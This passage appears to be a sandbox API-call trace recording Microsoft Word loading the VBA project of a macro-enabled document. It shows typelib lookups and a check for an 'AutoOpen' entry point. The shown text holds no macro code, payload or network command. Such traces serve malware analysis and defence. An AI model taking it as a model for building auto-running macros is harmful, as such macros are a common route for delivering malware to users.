(This=0x7ff9e7edf3f0, cb=0x3c) returned 0x2885d602180 [0068.626] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2884e363ae0) [0068.626] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2885d6bbeb0 [0068.626] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d6bbeb0, cb=0x68) returned 0x2884e3bb9a0 [0068.626] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d602180) [0068.626] wcsncpy_s (in: _Destination=0xbcb38f3e90, _SizeInWords=0x108, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0x0 [0068.626] CharLowerBuffW (in: lpsz="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", cchLength=0x94 | out: lpsz="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library") returned 0x94 [0068.626] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x12a) returned 0x2885d509f00 [0068.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library", cchWideChar=149, lpMultiByteStr=0x2885d509f00, cbMultiByte=298, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library", lpUsedDefaultChar=0x0) returned 149 [0068.626] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d509f00) [0068.626] wcscpy_s (in: _Destination=0x2885d635c70, _SizeInWords=0x95, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library" | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0x0 [0068.626] wcsncpy_s (in: _Destination=0xbcb38f3ed0, _SizeInWords=0x108, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0x0 [0068.626] CharLowerBuffW (in: lpsz="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", cchLength=0x94 | out: lpsz="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library") returned 0x94 [0068.626] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x12a) returned 0x2885d508600 [0068.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library", cchWideChar=149, lpMultiByteStr=0x2885d508600, cbMultiByte=298, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library", lpUsedDefaultChar=0x0) returned 149 [0068.626] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d508600) [0068.626] wcsncpy_s (in: _Destination=0xbcb38f3e90, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0068.626] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0068.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0xbcb38f3dc0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0068.626] _wcsicmp (_String1="*\\CNormal", _String2="*\\CNormal") returned 0 [0068.626] IUnknown:AddRef (This=0x2885d608e20) returned 0x3 [0068.626] IUnknown:QueryInterface (in: This=0x2885d608e20, riid=0x7ff9bdefcce8*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f42b8 | out: ppvObject=0xbcb38f42b8*=0x0) returned 0x80004002 [0068.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Office", cchWideChar=7, lpMultiByteStr=0xbcb38f4280, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office", lpUsedDefaultChar=0x0) returned 7 [0068.627] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Office") returned 0x407515 [0068.627] IUnknown:Release (This=0x2885d608e20) returned 0x2 [0068.627] IUnknown:Release (This=0x2885d608e20) returned 0x1 [0068.640] SysStringByteLen (bstr="潎浲污") returned 0x6 [0068.640] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2885d6bc4b8, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0068.640] SysStringByteLen (bstr="潎浲污") returned 0x6 [0068.640] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2885d6bc4b8, cbMultiByte=7, lpWideCharStr=0x2884e19c3a8, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0068.640] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xa8) returned 0x2885d5cd400 [0068.640] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x7f40) returned 0x2885d731550 [0068.642] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x288576412a0 [0068.643] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x60) returned 0x2884e3c5950 [0068.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0xbcb38f4560, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0068.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0xbcb38f4540, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0068.655] LHashValOfNameSysA (syskind=0x1, lcid=0x419, szName="ThisDocument") returned 0x309e3c [0068.655] bsearch (_Key=0xbcb38f3498, _Base=0x2885d51eae0, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7ff9bdb99a58) returned 0x2885d51eae8 [0068.655] CompareStringA (Locale=0x419, dwCmpFlags=0x30001, lpString1="ThisDocument", cchCount1=-1, lpString2="AutoOpen", cchCount2=-1) returned 3 [0068.655] CompareStringA (Locale=0x419, dwCmpFlags=0x30001, lpString1="ThisDocument", cchCount1=-1, lpString2="ThisDocument", cchCount2=-1) returned 2 [0068.731] wcsncpy_s (in: _Destination=0xbcb38f3900, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0068.731] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0068.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0xbcb38f3830, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0068.731] _wcsicmp (_String1="*\\CNormal", _String2="*\\CNormal") returned 0 [0068.739] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x408) returned 0x2885d65c220 [0068.912] longjmp () [0069.052] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2885d6d1e70 [0069.052] GetLocaleInfoA (in: Locale=0x411, LCType=0x1004, lpLCData=0xbcb38f475c, cchData=6 | out: lpLCData="932") returned 4 [0069.052] atoi (_Str="932") returned 932 [0069.052] GetLocalTime (in: lpSystemTime=0xbcb38f4750 | out: lpSystemTime=0xbcb38f4750*(wYear=0x7e4, wMonth=0xa, wDayOfWeek=0x0, wDay=0x4, wHour=0x17, wMinute=0x35, wSecond=0x39, wMilliseconds=0x294)) [0069.052] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x80) returned 0x2885d160030 [0069.052] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2885d5e6d70 [0069.052] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x80) returned 0x2885d15fd60 [0069.052] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2885d6befd0 [0069.052] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x80) returned 0x2885d160300 [0069.052] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d160300, cb=0x280) returned 0x2885d650d40 [0069.052] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2885d5e6dd0 [0069.052] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2885d5e6f10 [0069.052] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x420) returned 0x2885d4db530 [0069.111] CompareStringA (Locale=0x419, dwCmpFlags=0x3, lpString1="Test", cchCount1=-1, lpString2="Test", cchCount2=-1) returned 2 [0069.111] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x0, lpMultiByteStr=0xbcb38f45c4, cbMultiByte=2, lpWideCharStr=0xbcb38f45d8, cchWideChar=2 | out: lpWideCharStr="") returned 2 [0069.111] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x100) returned 0x2885d6e5070 [0069.111] wcsncpy_s (in: _Destination=0x2885747f8c8, _SizeInWords=0x80, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _MaxCount=0x30 | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#") returned 0x0 [0069.112] wcscpy_s (in: _Destination=0x2885747f928, _SizeInWords=0x50, _Source="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL" | out: _Destination="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL") returned 0x0 [0069.112] wcscpy_s (in: _Destination=0x2885747f98a, _SizeInWords=0x1f, _Source="#Visual Basic For Applications" | out: _Destination="#Visual Basic For Applications") returned 0x0 [0069.112] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d15fd60, cb=0x180) returned 0x2885d757400 [0069.112] wcscpy_s (in: _Destination=0x2885d757428, _SizeInWords=0x80, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications" | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0069.112] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d6e5070) [0069.112] wcsncpy_s (in: _Destination=0xbcb38f42b0, _SizeInWords=0x108, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _MaxCount=0x106 | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0069.112] CharLowerBuffW (in: lpsz="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", cchLength=0x7f | out: lpsz="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\progra~1\\common~1\\micros~1\\vba\\vba7.1\\vbe7.dll#visual basic for applications") returned 0x7f [0069.112] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x100) returned 0x2885d6e1c60 [0069.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\progra~1\\common~1\\micros~1\\vba\\vba7.1\\vbe7.dll#visual basic for applications", cchWideChar=128, lpMultiByteStr=0x2885d6e1c60, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\progra~1\\common~1\\micros~1\\vba\\vba7.1\\vbe7.dll#visual basic for applications", lpUsedDefaultChar=0x0) returned 128 [0069.112] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d6e1c60) [0069.112] _wcsicmp (_String1="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _String2="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation") returned 50 [0069.112] wcscpy_s (in: _Destination=0x2885d635dc0, _SizeInWords=0x80, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications" | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0069.112] wcsncpy_s (in: _Destination=0xbcb38f42f0, _SizeInWords=0x108, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _MaxCount=0x106 | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0069.112] CharLowerBuffW (in: lpsz="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", cchLength=0x7f | out: lpsz="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\progra~1\\common~1\\micros~1\\vba\\vba7.1\\vbe7.dll#visual basic for applications") returned 0x7f [0069.112] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x100) returned 0x2885d6e56d0 [0069.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\progra~1\\common~1\\micros~1\\vba\\vba7.1\\vbe7.dll#visual basic for applications", cchWideChar=128, lpMultiByteStr=0x2885d6e56d0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\progra~1\\common~1\\micros~1\\vba\\vba7.1\\vbe7.dll#visual basic for applications", lpUsedDefaultChar=0x0) returned 128 [0069.112] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d6e56d0) [0069.112] wcsncpy_s (in: _Destination=0xbcb38f42b0, _SizeInWords=0x108, _Source="*\\CC:\\Users\\FD1HVy\\Desktop\\CUsersUserDesktopfasfas.docm", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\FD1HVy\\Desktop\\CUsersUserDesktopfasfas.docm") returned 0x0 [0069.112] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\FD1HVy\\Desktop\\CUsersUserDesktopfasfas.docm", cchLength=0x37 | out: lpsz="*\\cc:\\users\\fd1hvy\\desktop\\cusersuserdesktopfasfas.docm") returned 0x37 [0069.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\fd1hvy\\desktop\\cusersuserdesktopfasfas.docm", cchWideChar=56, lpMultiByteStr=0xbcb38f41e0, cbMultiByte=112, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\fd1hvy\\desktop\\cusersuserdesktopfasfas.docm", lpUsedDefaultChar=0x0) returned 56 [0069.112] _wcsicmp (_String1="*\\CC:\\Users\\FD1HVy\\Desktop\\CUsersUserDesktopfasfas.docm", _String2="*\\CC:\\Users\\FD1HVy\\Desktop\\CUsersUserDesktopfasfas.docm") returned 0 [0069.112] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x112) returned 0x2885d5dc840 [0069.112] wcsncpy_s (in: _Destination=0x2885747f8c8, _SizeInWords=0x89, _Source="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", _MaxCount=0x30 | out: _Destination="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#") returned 0x0 [0069.112] wcscpy_s (in: _Destination=0x2885747f928, _SizeInWords=0x59, _Source="C:\\Program Files\\Microsoft Office\\Office16\\MSWORD.OLB" | out: _Destination="C:\\Program Files\\Microsoft Office\\Office16\\MSWORD.OLB") returned 0x0 [0069.113] wcscpy_s (in: _Destination=0x2885747f992, _SizeInWords=0x24, _Source="#Microsoft Word 16.0 Object Library" | out: _Destination="#Microsoft Word 16.0 Object Library") returned 0x0 [0069.113] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d757400, cb=0x300) returned 0x2885d6da860 [0069.113] wcscpy_s (in: _Destination=0x2885d6da9b0, _SizeInWords=0x89, _Source="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library" | out: _Destination="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 0x0 [0069.113] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d5dc840) [0069.113] wcsncpy_s (in: _Destination=0xbcb38f42b0, _SizeInWords=0x108, _Source="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 0x0 [0069.113] CharLowerBuffW (in: lpsz="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", cchLength=0x88 | out: lpsz="*\\g{00020905-0000-0000-c000-000000000046}#8.7#0#c:\\program files\\microsoft office\\office16\\msword.olb#microsoft word 16.0 object library") returned 0x88 [0069.113] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x112) returned 0x2885d5deb20 [0069.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020905-0000-0000-c000-000000000046}#8.7#0#c:\\program files\\microsoft office\\office16\\msword.olb#microsoft word 16.0 object library", cchWideChar=137, lpMultiByteStr=0x2885d5deb20, cbMultiByte=274, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020905-0000-0000-c000-000000000046}#8.7#0#c:\\program files\\microsoft office\\office16\\msword.olb#microsoft word 16.0 object library", lpUsedDefaultChar=0x0) returned 137 [0069.113] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d5deb20) [0069.113] wcscpy_s (in: _Destination=0x2885d635ef0, _SizeInWords=0x89, _Source="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library" | out: _Destination="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 0x0 [0069.113] wcsncpy_s (in: _Destination=0xbcb38f42f0, _SizeInWords=0x108, _Source="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 0x0 [0069.113] CharLowerBuffW (in: lpsz="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", cchLength=0x88 | out: lpsz="*\\g{00020905-0000-0000-c000-000000000046}#8.7#0#c:\\program files\\microsoft office\\office16\\msword.olb#microsoft word 16.0 object library") returned 0x88 [0069.113] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x112) returned 0x2885d5dc840 [0069.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020905-0000-0000-c000-000000000046}#8.7#0#c:\\program files\\microsoft office\\office16\\msword.olb#microsoft word 16.0 object library", cchWideChar=137, lpMultiByteStr=0x2885d5dc840, cbMultiByte=274, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020905-0000-0000-c000-000000000046}#8.7#0#c:\\program files\\microsoft office\\office16\\msword.olb#microsoft word 16.0 object library", lpUsedDefaultChar=0x0) returned 137 [0069.113] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d5dc840) [0069.113] wcsncpy_s (in: _Destination=0xbcb38f42b0, _SizeInWords=0x108, _Source="*\\CC:\\Users\\FD1HVy\\Desktop\\CUsersUserDesktopfasfas.docm", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\FD1HVy\\Desktop\\CUsersUserDesktopfasfas.docm") returned 0x0 [0069.113] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\FD1HVy\\Desktop\\CUsersUserDesktopfasfas.docm", cchLength=0x37 | out: lpsz="*\\cc:\\users\\fd1hvy\\desktop\\cusersuserdesktopfasfas.docm") returned 0x37 [0069.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\fd1hvy\\desktop\\cusersuserdesktopfasfas.docm", cchWideChar=56, lpMultiByteStr=0xbcb38f41e0, cbMultiByte=112, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\fd1hvy\\desktop\\cusersuserdesktopfasfas.docm", lpUsedDefaultChar=0x0) returned 56 [0069.113] _wcsicmp (_String1="*\\CC:\\Users\\FD1HVy\\Desktop\\CUsersUserDesktopfasfas.docm", _String2="*\\CC:\\Users\\FD1HVy\\Desktop\\CUsersUserDesktopfasfas.docm") returned 0 [0069.113] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xbe) returned 0x2885d582170 [0069.113] wcsncpy_s (in: _Destination=0x2885d65fb88, _SizeInWords=0x5f, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation", _MaxCount=0x30 | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#") returned 0x0 [0069.113] wcscpy_s (in: _Destination=0x2885d65fbe8, _SizeInWords=0x2f, _Source="C:\\Windows\\System32\\stdole2.tlb" | out: _Destination="C:\\Windows\\System32\\stdole2.tlb") returned 0x0 [0069.113] wcscpy_s (in: _Destination=0x2885d65fc26, _SizeInWords=0x10, _Source="#OLE Automation" | out: _Destination="#OLE Automation") returned 0x0 [0069.113] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d6da860, cb=0x600) returned 0x2885d4e8ea0 [0069.114] wcscpy_s (in: _Destination=0x2885d4e9130, _SizeInWords=0x5f, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation" | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation") returned 0x0 [0069.114] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d582170) [0069.114] wcsncpy_s (in: _Destination=0xbcb38f42b0, _SizeInWords=0x108, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation", _MaxCount=0x106 | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation") returned 0x0 [0069.114] CharLowerBuffW (in: lpsz="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation", cchLength=0x5e | out: lpsz="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation") returned 0x5e [0069.114] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xbe) returned 0x2885d5834f0 [0069.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation", cchWideChar=95, lpMultiByteStr=0x2885d5834f0, cbMultiByte=190, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation", lpUsedDefaultChar=0x0) returned 95 [0069.114] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d5834f0) [0069.114] _wcsicmp (_String1="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned -50 [0069.114] _wcsicmp (_String1="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation", _String2="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation") returned 0 [0069.114] wcsncpy_s (in: _Destination=0xbcb38f42b0, _SizeInWords=0x108, _Source="*\\CC:\\Users\\FD1HVy\\Desktop\\CUsersUserDesktopfasfas.docm", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\FD1HVy\\Desktop\\CUsersUserDesktopfasfas.docm") returned 0x0 [0069.114] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\FD1HVy\\Desktop\\CUsersUserDesktopfasfas.docm", cchLength=0x37 | out: lpsz="*\\cc:\\users\\fd1hvy\\desktop\\cusersuserdesktopfasfas.docm") returned 0x37 [0069.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\fd1hvy\\desktop\\cusersuserdesktopfasfas.docm", cchWideChar=56, lpMultiByteStr=0xbcb38f41e0, cbMultiByte=112, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\fd1hvy\\desktop\\cusersuserdesktopfasfas.docm", lpUsedDefaultChar=0x0) returned 56 